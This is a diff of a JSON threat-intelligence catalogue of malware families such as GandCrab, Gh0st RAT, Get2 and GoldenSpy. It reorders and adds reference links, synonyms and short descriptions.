"https://www.scmagazine.com/home/security-news/ransomware/gandcrab-ransomware-operators-put-in-retirement-papers/", + "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", + "http://www.vmray.com/cyber-security-blog/gandcrab-ransomware-evolution-analysis/", + "https://www.bleepingcomputer.com/news/security/darkside-ransomware-made-90-million-in-just-nine-months/", + "https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-being-distributed-via-malspam-disguised-as-receipts/", + "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", + "https://www.virusbulletin.com/virusbulletin/2020/01/behind-scenes-gandcrabs-operation/", + "https://blog.malwarebytes.com/threat-analysis/2018/01/gandcrab-ransomware-distributed-by-rig-and-grandsoft-exploit-kits/", + "https://www.bleepingcomputer.com/news/security/gandcrab-operators-use-vidar-infostealer-as-a-forerunner/", + "https://teamt5.org/en/posts/introducing-the-most-profitable-ransomware-revil/", + "https://gallery.mailchimp.com/c35aef82661dad887b8162a4f/files/e24e8206-a157-4796-a8cb-2b7262cc76e8/CSIS_Threat_Matrix_H1_2019.pdf", + "https://blog.talosintelligence.com/2018/05/gandcrab-compromised-sites.html", + "https://web.archive.org/web/20190331091056/https://myonlinesecurity.co.uk/fake-cdc-flu-pandemic-warning-delivers-gandcrab-5-2-ransomware/", + "https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-shutting-down-after-claiming-to-earn-25-billion/", + "https://labs.bitdefender.com/2018/02/gandcrab-ransomware-decryption-tool-available-for-free/", + "https://labs.bitdefender.com/2019/02/new-gandcrab-v5-1-decryptor-available-now/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf", + "https://www.secureworks.com/research/threat-profiles/gold-garden", + "https://intel471.com/blog/a-brief-history-of-ta505" ], "synonyms": [ "GrandCrab" @@ -25589,16 +26761,17 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.gazer", - "https://download.bitdefender.com/resources/files/News/CaseStudies/study/115/Bitdefender-Whitepaper-PAC-A4-en-EN1.pdf", - "https://securelist.com/shedding-skin-turlas-fresh-faces/88069/", - "https://cocomelonc.github.io/tutorial/2022/04/26/malware-pers-2.html", - "https://www.youtube.com/watch?v=Pvzhtjl86wc", + "https://cocomelonc.github.io/malware/2023/07/26/malware-tricks-35.html", "https://cocomelonc.github.io/tutorial/2022/06/12/malware-pers-7.html", - "https://pdfhost.io/v/F0@QElMu2_MacProStorage_2017FinalBitdefenderWhitepaperNetrepserA4en_ENBitdefenderWhitepaperNetrepserA4en_ENindd.pdf", + "https://download.bitdefender.com/resources/files/News/CaseStudies/study/115/Bitdefender-Whitepaper-PAC-A4-en-EN1.pdf", "https://www.welivesecurity.com/2017/08/30/eset-research-cyberespionage-gazer/", - "https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/", "https://github.com/eset/malware-ioc/tree/master/turla", - "https://securelist.com/introducing-whitebear/81638/" + "https://pdfhost.io/v/F0@QElMu2_MacProStorage_2017FinalBitdefenderWhitepaperNetrepserA4en_ENBitdefenderWhitepaperNetrepserA4en_ENindd.pdf", + "https://securelist.com/introducing-whitebear/81638/", + "https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/", + "https://www.youtube.com/watch?v=Pvzhtjl86wc", + "https://securelist.com/shedding-skin-turlas-fresh-faces/88069/", + "https://cocomelonc.github.io/tutorial/2022/04/26/malware-pers-2.html" ], "synonyms": [ "WhiteBear" @@ -25613,9 +26786,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.gcleaner", - "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", + "https://bazaar.abuse.ch/browse/signature/GCleaner/", "https://securelist.com/nullmixer-oodles-of-trojans-in-a-single-dropper/107498/", - "https://bazaar.abuse.ch/browse/signature/GCleaner/" + "https://n1ght-w0lf.github.io/malware%20analysis/gcleaner-loader/", + "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145" ], "synonyms": [], "type": [] @@ -25711,28 +26885,28 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.get2", - "https://www.goggleheadedhacker.com/blog/post/13", - "https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-returns-with-a-new-bag-of-tricks-602104", - "https://github.com/Tera0017/TAFOF-Unpacker", - "https://blog.fox-it.com/2020/11/16/ta505-a-brief-history-of-their-time/", - "https://intel471.com/blog/ta505-get2-loader-malware-december-2020/", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf", - "https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-s-box-of-chocolate-597672", - "https://blog.intel471.com/2020/07/15/flowspec-ta505s-bulletproof-hoster-of-choice/", - "https://www.hornetsecurity.com/en/security-information/clop-clop-ta505-html-malspam-analysis/", - "https://www.proofpoint.com/us/threat-insight/post/coronavirus-threat-landscape-update", - "https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/cybercriminal%20groups/TA505/04-10-2019/Malware%20Analysis%2004-10-2019.md", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", - "https://www.telekom.com/en/blog/group/article/inside-of-cl0p-s-ransomware-operation-615824", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", - "https://www.telekom.com/en/blog/group/article/eager-beaver-a-short-overview-of-the-restless-threat-actor-ta505-609546", - "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - "https://www.secureworks.com/research/threat-profiles/gold-tahoe", - "https://elis531989.medium.com/funtastic-packers-and-where-to-find-them-41429a7ef9a7", "https://intel471.com/blog/a-brief-history-of-ta505", - "https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader" + "https://www.hornetsecurity.com/en/security-information/clop-clop-ta505-html-malspam-analysis/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf", + "https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-returns-with-a-new-bag-of-tricks-602104", + "https://blog.intel471.com/2020/07/15/flowspec-ta505s-bulletproof-hoster-of-choice/", + "https://intel471.com/blog/ta505-get2-loader-malware-december-2020/", + "https://www.goggleheadedhacker.com/blog/post/13", + "https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/cybercriminal%20groups/TA505/04-10-2019/Malware%20Analysis%2004-10-2019.md", + "https://elis531989.medium.com/funtastic-packers-and-where-to-find-them-41429a7ef9a7", + "https://github.com/Tera0017/TAFOF-Unpacker", + "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", + "https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-s-box-of-chocolate-597672", + "https://www.telekom.com/en/blog/group/article/inside-of-cl0p-s-ransomware-operation-615824", + "https://www.secureworks.com/research/threat-profiles/gold-tahoe", + "https://www.proofpoint.com/us/threat-insight/post/coronavirus-threat-landscape-update", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://blog.fox-it.com/2020/11/16/ta505-a-brief-history-of-their-time/", + "https://www.telekom.com/en/blog/group/article/eager-beaver-a-short-overview-of-the-restless-threat-actor-ta505-609546", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf" ], "synonyms": [ "FRIENDSPEAK", @@ -25761,12 +26935,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.getmypass", - "https://github.com/malware-kitten/securitykitten.github.io/blob/master/_posts/2015-01-08-getmypass-point-of-sale-malware-update.md", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/the-evolution-of-point-of-sale-pos-malware", - "https://securitykitten.github.io/2015/01/08/getmypass-point-of-sale-malware-update.html", "https://github.com/malware-kitten/securitykitten.github.io/blob/master/_posts/2014-11-26-getmypass-point-of-sale-malware.md", + "https://blog.trendmicro.com/trendlabs-security-intelligence/new-pos-malware-kicks-off-holiday-shopping-weekend/", + "https://securitykitten.github.io/2015/01/08/getmypass-point-of-sale-malware-update.html", "https://securitykitten.github.io/2014/11/26/getmypass-point-of-sale-malware.html", - "https://blog.trendmicro.com/trendlabs-security-intelligence/new-pos-malware-kicks-off-holiday-shopping-weekend/" + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/the-evolution-of-point-of-sale-pos-malware", + "https://github.com/malware-kitten/securitykitten.github.io/blob/master/_posts/2015-01-08-getmypass-point-of-sale-malware-update.md" ], "synonyms": [ "getmypos" @@ -25789,13 +26963,29 @@ "uuid": "a762023d-8d46-43a8-be01-3b2362963de0", "value": "get_pwd" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.gh0stbins", + "https://any.run/cybersecurity-blog/gh0stbins-chinese-rat-malware-analysis/" + ], + "synonyms": [ + "Gh0stBins RAT" + ], + "type": [] + }, + "uuid": "07ef4b03-c512-490c-905a-f7c2e3a47eba", + "value": "Gh0stBins" + }, { "description": "Custom RAT developed by the BlackTech actor, based on the Gh0st RAT.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.gh0sttimes", - "https://blogs.jpcert.or.jp/en/2021/10/gh0sttimes.html", - "https://jp.security.ntt/resources/EN-BlackTech_2021.pdf" + "https://jp.security.ntt/resources/EN-BlackTech_2021.pdf", + "https://www.youtube.com/watch?v=uakw2HMGZ-I", + "https://blogs.jpcert.or.jp/en/2021/10/gh0sttimes.html" ], "synonyms": [], "type": [] @@ -25821,9 +27011,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ghole", - "https://documents.trendmicro.com/assets/wp/wp-operation-woolen-goldfish.pdf", "http://www.trendmicro.it/media/wp/operation-woolen-goldfish-whitepaper-en.pdf", - "https://www.clearskysec.com/gholee-a-protective-edge-themed-spear-phishing-campaign/" + "https://www.clearskysec.com/gholee-a-protective-edge-themed-spear-phishing-campaign/", + "https://documents.trendmicro.com/assets/wp/wp-operation-woolen-goldfish.pdf" ], "synonyms": [ "CoreImpact (Modified)", @@ -25856,8 +27046,8 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ghostnet", "https://documents.trendmicro.com/assets/wp/wp-detecting-apt-activity-with-network-traffic-analysis.pdf", "https://www.nartv.org/2019/03/28/10-years-since-ghostnet/", - "https://en.wikipedia.org/wiki/GhostNet", - "http://contagiodump.blogspot.com/2011/07/jul-25-mac-olyx-gh0st-backdoor-in-rar.html" + "http://contagiodump.blogspot.com/2011/07/jul-25-mac-olyx-gh0st-backdoor-in-rar.html", + "https://en.wikipedia.org/wiki/GhostNet" ], "synonyms": [ "Remosh" @@ -25872,8 +27062,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ghost_admin", - "https://www.bleepingcomputer.com/news/security/new-ghostadmin-malware-used-for-data-theft-and-exfiltration/", - "https://www.cylance.com/en_us/blog/threat-spotlight-ghostadmin.html" + "https://www.cylance.com/en_us/blog/threat-spotlight-ghostadmin.html", + "https://www.bleepingcomputer.com/news/security/new-ghostadmin-malware-used-for-data-theft-and-exfiltration/" ], "synonyms": [ "Ghost iBot" @@ -25884,75 +27074,76 @@ "value": "GhostAdmin" }, { - "description": "According to Security Ninja, Gh0st RAT (Remote Access Terminal) is a trojan “Remote Access Tool” used on Windows platforms, and has been used to hack into some of the most sensitive computer networks on Earth.\r\n\r\nBelow is a list of Gh0st RAT capabilities.\r\nTake full control of the remote screen on the infected bot.\r\nProvide real time as well as offline keystroke logging.\r\nProvide live feed of webcam, microphone of infected host.\r\nDownload remote binaries on the infected remote host.\r\nTake control of remote shutdown and reboot of host.\r\nDisable infected computer remote pointer and keyboard input.\r\nEnter into shell of remote infected host with full control.\r\nProvide a list of all the active processes.\r\nClear all existing SSDT of all existing hooks.", + "description": "According to Security Ninja, Gh0st RAT (Remote Access Terminal) is a trojan \u201cRemote Access Tool\u201d used on Windows platforms, and has been used to hack into some of the most sensitive computer networks on Earth.\r\n\r\nBelow is a list of Gh0st RAT capabilities.\r\nTake full control of the remote screen on the infected bot.\r\nProvide real time as well as offline keystroke logging.\r\nProvide live feed of webcam, microphone of infected host.\r\nDownload remote binaries on the infected remote host.\r\nTake control of remote shutdown and reboot of host.\r\nDisable infected computer remote pointer and keyboard input.\r\nEnter into shell of remote infected host with full control.\r\nProvide a list of all the active processes.\r\nClear all existing SSDT of all existing hooks.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ghost_rat", - "http://download01.norman.no/documents/ThemanyfacesofGh0stRat.pdf", - "https://attack.mitre.org/groups/G0096", - "https://documents.trendmicro.com/assets/Appendix_Water-Pamola-Attacked-Online-Shops-Via-Malicious-Orders.pdf", - "https://cofense.com/blog/open-source-gh0st-rat-still-haunting-inboxes-15-years-after-release/", - "https://www.secureworks.com/research/threat-profiles/bronze-union", - "https://labs.bitdefender.com/2018/02/operation-pzchao-a-possible-return-of-the-iron-tiger-apt/", - "https://www.cisecurity.org/insights/blog/top-10-malware-march-2022", - "https://blog.prevailion.com/2020/06/the-gh0st-remains-same8.html", - "https://tccontre.blogspot.com/2021/02/gh0strat-anti-debugging-nested-seh-try.html", - "https://asec.ahnlab.com/en/32572/", - "https://www.secureworks.com/research/a-peek-into-bronze-unions-toolbox", - "https://www.trendmicro.com/en_us/research/22/d/new-apt-group-earth-berberoka-targets-gambling-websites-with-old.html", - "https://medium.com/insomniacs/what-happened-between-the-bigbadwolf-and-the-tiger-925549a105b2", - "https://risky.biz/whatiswinnti/", - "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", - "https://www.proofpoint.com/sites/default/files/pfpt-us-wp-north-korea-bitten-by-bitcoin-bug.pdf", - "https://blog.cylance.com/the-ghost-dragon", - "https://thehackernews.com/2022/04/chinese-hackers-target-vmware-horizon.html", - "https://www.trendmicro.com/en_us/research/21/l/collecting-in-the-dark-tropic-trooper-targets-transportation-and-government-organizations.html", - "https://blog.bushidotoken.net/2020/06/deep-dive-darkhotel-apt.html", - "http://www.nartv.org/mirror/ghostnet.pdf", - "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", - "https://attack.mitre.org/groups/G0011", - "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/april/decoding-network-data-from-a-gh0st-rat-variant/", - "https://www.secureworks.com/research/threat-profiles/bronze-fleetwood", - "https://blog.talosintelligence.com/2019/09/panda-evolution.html", - "https://www.trendmicro.com/en_us/research/21/d/water-pamola-attacked-online-shops-via-malicious-orders.html", - "https://st.drweb.com/static/new-www/news/2020/october/Study_of_the_ShadowPad_APT_backdoor_and_its_relation_to_PlugX_en.pdf", - "https://blog.talosintelligence.com/2022/02/threat-roundup-0204-0211.html", - "https://www.seqrite.com/blog/rat-used-by-chinese-cyberspies-infiltrating-indian-businesses/", - "https://www.bitdefender.com/files/News/CaseStudies/study/185/Bitdefender-Business-2017-WhitePaper-PZCHAO-crea2452-en-EN-GenericUse.pdf", - "https://attack.mitre.org/groups/G0026", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/webworm-espionage-rats", - "https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols", - "https://decoded.avast.io/luigicamastra/apt-group-planted-backdoors-targeting-high-profile-networks-in-central-asia", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/covid-19-and-new-year-greetings-the-higaisa-group/", "https://www.fortinet.com/blog/threat-research/deep-panda-log4shell-fire-chili-rootkits", - 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"https://labs.bitdefender.com/wp-content/uploads/downloads/operation-pzchao-inside-a-highly-specialized-espionage-infrastructure/", + "https://risky.biz/whatiswinnti/", + "https://medium.com/insomniacs/what-happened-between-the-bigbadwolf-and-the-tiger-925549a105b2", + "https://attack.mitre.org/groups/G0026", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/webworm-espionage-rats", "https://raw.githubusercontent.com/yt0ng/cracking_softcell/main/Cracking_SOFTCLL_TLP_WHITE.pdf", + "https://www.secureworks.com/research/threat-profiles/bronze-globe", + "http://www.nartv.org/mirror/ghostnet.pdf", + "https://www.bitdefender.com/files/News/CaseStudies/study/185/Bitdefender-Business-2017-WhitePaper-PZCHAO-crea2452-en-EN-GenericUse.pdf", + "https://www.botconf.eu/wp-content/uploads/2022/05/Botconf2022-40-LunghiHorejsi.pdf", + "https://st.drweb.com/static/new-www/news/2020/october/Study_of_the_ShadowPad_APT_backdoor_and_its_relation_to_PlugX_en.pdf", + "https://www.nttsecurity.com/docs/librariesprovider3/default-document-library/craftypanda-analysis-report", + "https://www.trendmicro.com/en_us/research/21/l/collecting-in-the-dark-tropic-trooper-targets-transportation-and-government-organizations.html", + "https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols", + "https://research.nccgroup.com/2018/04/17/decoding-network-data-from-a-gh0st-rat-variant/", + "https://blog.bushidotoken.net/2020/06/deep-dive-darkhotel-apt.html", + "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", + "https://www.trendmicro.com/en_us/research/22/d/new-apt-group-earth-berberoka-targets-gambling-websites-with-old.html", + "https://blogs.jpcert.or.jp/en/2021/10/gh0sttimes.html", + "https://attack.mitre.org/groups/G0096", + "https://www.secureworks.com/research/a-peek-into-bronze-unions-toolbox", + "https://documents.trendmicro.com/assets/Appendix_Water-Pamola-Attacked-Online-Shops-Via-Malicious-Orders.pdf", + "https://cofense.com/blog/open-source-gh0st-rat-still-haunting-inboxes-15-years-after-release/", + "https://documents.trendmicro.com/assets/white_papers/wp-operation-earth-berberoka.pdf", + "https://www.datanet.co.kr/news/articleView.html?idxno=133346", + "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", + "https://web.archive.org/web/20170311192337/http://download01.norman.no:80/documents/ThemanyfacesofGh0stRat.pdf", + "https://thehackernews.com/2022/04/chinese-hackers-target-vmware-horizon.html", + "https://web.archive.org/web/20140816135909/https://www.symantec.com/connect/blogs/inside-back-door-attack", + "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/april/decoding-network-data-from-a-gh0st-rat-variant/", + "https://www.secureworks.com/research/threat-profiles/bronze-fleetwood", "https://s.tencent.com/research/report/836.html", - "https://hackcon.org/uploads/327/05%20-%20Kwak.pdf", - "https://blogs.blackberry.com/en/2021/10/drawing-a-dragon-connecting-the-dots-to-find-apt41" + "https://www.cisecurity.org/insights/blog/top-10-malware-march-2022", + "https://attack.mitre.org/groups/G0001/", + "https://blogs.blackberry.com/en/2021/10/drawing-a-dragon-connecting-the-dots-to-find-apt41", + "https://decoded.avast.io/luigicamastra/apt-group-planted-backdoors-targeting-high-profile-networks-in-central-asia", + "https://www.intezer.com/blog/malware-analysis/chinaz-relations/", + "https://www.proofpoint.com/us/threat-insight/post/north-korea-bitten-bitcoin-bug-financially-motivated-campaigns-reveal-new", + "https://tccontre.blogspot.com/2021/02/gh0strat-anti-debugging-nested-seh-try.html", + "https://www.welivesecurity.com/2021/02/01/operation-nightscout-supply-chain-attack-online-gaming-asia/", + "https://attack.mitre.org/groups/G0011", + "https://intel471.com/blog/china-cybercrime-undergrond-deepmix-tea-horse-road-great-firewall/", + "https://www.secureworks.com/research/threat-profiles/bronze-edison", + "https://www.seqrite.com/blog/rat-used-by-chinese-cyberspies-infiltrating-indian-businesses/", + "http://download01.norman.no/documents/ThemanyfacesofGh0stRat.pdf", + "https://labs.bitdefender.com/wp-content/uploads/downloads/operation-pzchao-inside-a-highly-specialized-espionage-infrastructure/", + "https://blog.prevailion.com/2020/06/the-gh0st-remains-same8.html", + "https://www.proofpoint.com/sites/default/files/pfpt-us-wp-north-korea-bitten-by-bitcoin-bug.pdf", + "https://blog.talosintelligence.com/2019/09/panda-evolution.html" ], "synonyms": [ "Farfli", @@ -26003,6 +27194,20 @@ "uuid": "6ad51e4a-b44d-43c8-9f55-b9fe06a2c06d", "value": "Giffy" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.gimmick", + "http://stillu.cc/assets/slides/2023-08-Unmasking%20CamoFei.pdf", + "https://www.volexity.com/blog/2022/03/22/storm-cloud-on-the-horizon-gimmick-malware-strikes-at-macos/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "59e8424b-f2e6-4542-bbb3-0e62a4596a01", + "value": "GIMMICK (Windows)" + }, { "description": "", "meta": { @@ -26021,10 +27226,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ginzo", + "https://www.govcert.ch/downloads/whitepapers/Unflattening-ConfuserEx-Code-in-IDA.pdf", "https://ke-la.com/information-stealers-a-new-landscape/", "https://blog.talosintelligence.com/haskers-gang-zingostealer/", - "https://twitter.com/struppigel/status/1506933328599044100", - "https://www.govcert.ch/downloads/whitepapers/Unflattening-ConfuserEx-Code-in-IDA.pdf" + "https://twitter.com/struppigel/status/1506933328599044100" ], "synonyms": [], "type": [] @@ -26077,27 +27282,27 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.globeimposter", - "https://www.youtube.com/watch?v=LUxOcpIRxmg", - "https://blog.ensilo.com/globeimposter-ransomware-technical", - "https://www.acronis.com/en-us/blog/posts/globeimposter-ransomware-holiday-gift-necurs-botnet", - "https://www.proofpoint.com/us/threat-insight/post/holiday-lull-not-so-much", - "https://blog.fortinet.com/2017/08/05/analysis-of-new-globeimposter-ransomware-variant", - "https://www.crowdstrike.com/blog/ransomware-preparedness-a-call-to-action/", - "https://asec.ahnlab.com/en/48940/", - "https://info.phishlabs.com/blog/globe-imposter-ransomware-makes-a-new-run", - "https://blog.360totalsecurity.com/en/globeimposter-which-has-more-than-20-variants-is-still-wildly-growing/", - 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"https://community.riskiq.com/article/2a36a7d2/description", - "https://blog.chainalysis.com/reports/2022-crypto-crime-report-preview-malware/", "https://blog.google/technology/safety-security/new-action-combat-cyber-crime/", - "https://blog.google/threat-analysis-group/disrupting-glupteba-operation/", - "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", - "https://nakedsecurity.sophos.com/2020/06/24/glupteba-the-bot-that-gets-secret-messages-from-the-bitcoin-blockchain/", - "https://labs.k7computing.com/?p=22319", - "https://www.welivesecurity.com/2018/03/22/glupteba-no-longer-windigo/", - "http://resources.infosecinstitute.com/tdss4-part-1/", - "https://krebsonsecurity.com/2022/06/the-link-between-awm-proxy-the-glupteba-botnet/?utm_source=dlvr.it&utm_medium=twitter", + "https://www.bitdefender.com/files/News/CaseStudies/study/400/Bitdefender-PR-Whitepaper-MosaicLoader-creat5540-en-EN.pdf", "https://thehackernews.com/2022/03/over-200000-microtik-routers-worldwide.html", - "https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf", - "https://decoded.avast.io/martinhron/meris-and-trickbot-standing-on-the-shoulders-of-giants/", + "https://www.domaintools.com/resources/blog/identifying-network-infrastructure-related-to-a-who-spoofing-campaign", + "https://www.welivesecurity.com/2014/03/18/operation-windigo-the-vivisection-of-a-large-linux-server-side-credential-stealing-malware-campaign/", + "https://cocomelonc.github.io/malware/2023/06/19/malware-av-evasion-17.html", + "https://habr.com/ru/company/solarsecurity/blog/578900/", + "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", + "https://storage.googleapis.com/gweb-uniblog-publish-prod/documents/1_Complaint.pdf", + "https://labs.k7computing.com/?p=22319", + "https://news.sophos.com/en-us/2020/06/24/glupteba-report/?cmp=30728", + "https://blog.google/threat-analysis-group/disrupting-glupteba-operation/", + "https://blog.chainalysis.com/reports/2022-crypto-crime-report-preview-malware/", "https://www.trendmicro.com/en_us/research/21/j/ransomware-operators-found-using-new-franchise-business-model.html", - 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"https://www.volexity.com/blog/2020/03/31/storm-cloud-unleashed-tibetan-community-focus-of-highly-targeted-fake-flash-campaign/", + "https://securelist.com/apt-trends-report-q2-2020/97937/", "https://securelist.com/holy-water-ongoing-targeted-water-holing-attack-in-asia/96311/", - "https://securelist.com/apt-trends-report-q2-2020/97937/" + "https://www.volexity.com/blog/2020/03/31/storm-cloud-unleashed-tibetan-community-focus-of-highly-targeted-fake-flash-campaign/" ], "synonyms": [ "GOSLU" @@ -26219,8 +27425,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.godoh", - "https://github.com/sensepost/goDoH", - "https://sensepost.com/blog/2018/waiting-for-godoh/" + "https://sensepost.com/blog/2018/waiting-for-godoh/", + "https://github.com/sensepost/goDoH" ], "synonyms": [], "type": [] @@ -26302,8 +27508,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.goldeneye", - "https://blog.malwarebytes.com/cybercrime/2017/07/keeping-up-with-the-petyas-demystifying-the-malware-family/", - "https://blog.malwarebytes.com/threat-analysis/2016/12/goldeneye-ransomware-the-petyamischa-combo-rebranded/" + "https://blog.malwarebytes.com/threat-analysis/2016/12/goldeneye-ransomware-the-petyamischa-combo-rebranded/", + "https://blog.malwarebytes.com/cybercrime/2017/07/keeping-up-with-the-petyas-demystifying-the-malware-family/" ], "synonyms": [ "Petya/Mischa" @@ -26328,19 +27534,19 @@ "value": "GoldenHelper" }, { - "description": "", + "description": "According securityweek, GoldenSpy, the malware was observed as part of a campaign that supposedly started in April 2020, but some of the identified samples suggest the threat has been around since at least December 2016.\r\n\r\nOne of the compromised organizations, a global technology vendor that conducts government business in the US, Australia and UK, and which recently opened offices in China, became infected after installing \u201cIntelligent Tax,\u201d a piece of software from the Golden Tax Department of Aisino Corporation, which a local bank required for paying local taxes.\r\n\r\nAlthough it worked as advertised, the software was found to install a hidden backdoor to provide remote operators with the possibility to execute Windows commands or upload and run files.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.goldenspy", - "https://www.bka.de/SharedDocs/Downloads/DE/IhreSicherheit/Warnhinweise/WarnhinweisGOLDENSPY.pdf", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/goldenspy-chapter-two-the-uninstaller/", - "https://www.ic3.gov/media/news/2020/200728.pdf", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/goldenspy-chapter-3-new-and-improved-uninstaller/", "https://trustwave.azureedge.net/media/16908/the-golden-tax-department-and-emergence-of-goldenspy-malware.pdf", - "https://www.atlanticcouncil.org/wp-content/uploads/2020/07/Breaking-trust-Shades-of-crisis-across-an-insecure-software-supply-chain.pdf", + "https://www.ic3.gov/media/news/2020/200728.pdf", + "https://www.bka.de/SharedDocs/Downloads/DE/IhreSicherheit/Warnhinweise/WarnhinweisGOLDENSPY.pdf", "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/goldenspy-chapter-4-goldenhelper-malware-embedded-in-official-golden-tax-software/", - "https://www.ic3.gov/Media/News/2020/201103-1.pdf", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/the-golden-tax-department-and-the-emergence-of-goldenspy-malware/" + "https://www.atlanticcouncil.org/wp-content/uploads/2020/07/Breaking-trust-Shades-of-crisis-across-an-insecure-software-supply-chain.pdf", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/the-golden-tax-department-and-the-emergence-of-goldenspy-malware/", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/goldenspy-chapter-two-the-uninstaller/", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/goldenspy-chapter-3-new-and-improved-uninstaller/", + "https://www.ic3.gov/Media/News/2020/201103-1.pdf" ], "synonyms": [], "type": [] @@ -26353,16 +27559,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.goldmax", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-105a", "https://www.cisa.gov/uscert/ncas/alerts/aa22-110a", + "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf", "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", "https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-backdoors-rats-loaders-evasion-techniques", - "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf", - "https://x0r19x91.gitlab.io/post/malware-analysis/sunshuttle/", - "https://securelist.com/tomiris-called-they-want-their-turla-malware-back/109552/", - "https://securelist.com/extracting-type-information-from-go-binaries/104715/", "https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/", - "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/" + "https://securelist.com/tomiris-called-they-want-their-turla-malware-back/109552/", + "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "https://securelist.com/extracting-type-information-from-go-binaries/104715/", + "https://x0r19x91.gitlab.io/post/malware-analysis/sunshuttle/", + 